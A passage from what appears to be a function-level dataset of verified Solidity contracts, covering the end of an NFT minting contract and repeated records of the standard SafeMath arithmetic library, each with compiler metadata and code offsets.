ownedTokenIds[ownedTokenIndex] = currentTokenId;
ownedTokenIndex++;
}
currentTokenId++;
}
return ownedTokenIds;
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(_tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (revealed == false) {
return hiddenMetadataUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix))
: "";
}
//only owner
function setRevealed(bool _state) public onlyOwner {
revealed = _state;
}
function setNftPerAddressLimit(uint256 _limit) public onlyOwner {
nftPerAddressLimit = _limit;
}
function setCost(uint256 _cost) public onlyOwner {
cost = _cost;
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
maxMintAmountPerTx = _maxMintAmountPerTx;
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
hiddenMetadataUri = _hiddenMetadataUri;
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
uriPrefix = _uriPrefix;
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
uriSuffix = _uriSuffix;
}
function setPaused(bool _state) public onlyOwner {
paused = _state;
}
function setOnlyWhitelisted(bool _state) public onlyOwner {
onlyWhitelisted = _state;
}
function whitelistUsers(address[] memory _users) public onlyOwner {
for(uint256 i; i < _users.length; i++){
whitelistedAddresses[_users[i]] = true;
}
}
function withdraw() public onlyOwner {
// This will transfer the remaining contract balance to the owner.
// Do not remove this otherwise you will not be able to withdraw the funds.
// =============================================================================
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
// =============================================================================
}
function _mintLoop(address _receiver, uint256 _mintAmount) internal {
for (uint256 i = 0; i < _mintAmount; i++) {
supply.increment();
addressMintedBalance[msg.sender]++;
_safeMint(_receiver, supply.current());
}
}
function _baseURI() internal view virtual override returns (string memory) {
return uriPrefix;
}
} | setRevealed | function setRevealed(bool _state) public onlyOwner {
revealed = _state;
}
| //only owner | LineComment | v0.8.7+commit.e28d00a7 | MIT | ipfs://e06eb6382ec2ce4412f0c84ef27f780ba64d7f5653044d165d6511ac3b651efd | {
"func_code_index": [
3154,
3238
]
} | 6,978 |
||
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| /**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
251,
437
]
} | 6,979 |
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
707,
848
]
} | 6,980 |
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
1180,
1377
]
} | 6,981 |
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
| /**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
1623,
2099
]
} | 6,982 |
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
2562,
2699
]
} | 6,983 |
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | div | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
3224,
3574
]
} | 6,984 |
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
